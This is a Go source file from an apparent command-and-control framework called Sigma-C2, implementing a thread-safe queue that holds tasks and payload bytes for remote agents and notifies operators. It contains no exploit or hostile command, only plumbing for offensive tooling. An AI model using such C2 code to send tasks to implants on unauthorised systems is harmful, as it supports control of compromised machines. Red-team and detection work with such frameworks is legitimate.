Sigma-C2/task_handler.go

package main

import (
	"fmt"
	"net"
	"sync"
)

type Task struct {
	AgentID      string
	Type         string
	Args         string
	Payload      []byte
	OperatorConn net.Conn
	OperatorID   string
}

type TaskHandler struct {
	agentTasks map[string][]Task // Maps AgentID to a queue of tasks
	mu         sync.Mutex        // Protects access to agentTasks
}

// NewAgentHandler initializes a new TaskHandler instance.
func NewTaskHandler() *TaskHandler {
	return &TaskHandler{
		agentTasks: make(map[string][]Task),
	}
}

var taskHandler = NewTaskHandler()

// QueueTask queues a task for a specific agent.
func (th *TaskHandler) QueueTask(agentID string, operatorID string, taskType string, taskArgs string, moduleData []byte) {
	th.mu.Lock()
	defer th.mu.Unlock()
	var logMessage string

	// Check if agent exists
	if _, ok := agents.Load(agentID); ok {
		task := Task{
			AgentID:    agentID,
			Type:       taskType,
			Args:       taskArgs,
			Payload:    moduleData,
			OperatorID: operatorID,
		}
		th.agentTasks[agentID] = append(th.agentTasks[agentID], task)

		logMessage = fmt.Sprintf("Queued task for agent %s: %s", agentID, taskType)

	} else {
		logMessage = fmt.Sprintf("Agent not found: %s", agentID)
	}

	// Log logMessage
	debugLog(logMessage)

	// Notify operator
	operatorConn, exists := GetOperatorConn(operatorID)
	if exists {
		operatorConn.Write([]byte(logMessage))
	}

}

// GetNextTask retrieves the next task for an agent, if any.
func (th *TaskHandler) GetNextTask(agentID string) *Task {
	th.mu.Lock()
	defer th.mu.Unlock()

	tasks, exists := th.agentTasks[agentID]
	if !exists || len(tasks) == 0 {
		return nil
	}
	// Retrieve and remove the first task
	nextTask := tasks[0]
	th.agentTasks[agentID] = tasks[1:]
	return &nextTask
}

// ListTasks lists all queued tasks for a specific agent.
func (th *TaskHandler) ListTasks(agentID string) []Task {
	th.mu.Lock()
	defer th.mu.Unlock()

	return th.agentTasks[agentID]
}

// ClearTasks clears all tasks for a specific agent.
func (th *TaskHandler) ClearTasks(agentID string) {
	th.mu.Lock()
	defer th.mu.Unlock()

	delete(th.agentTasks, agentID)

	// Log logMessage
	logMessage := fmt.Sprintf("Cleared tasks for agent %s", agentID)
	debugLog(logMessage)

	// Notify operators
	SendMessageToAllOperators(logMessage)
}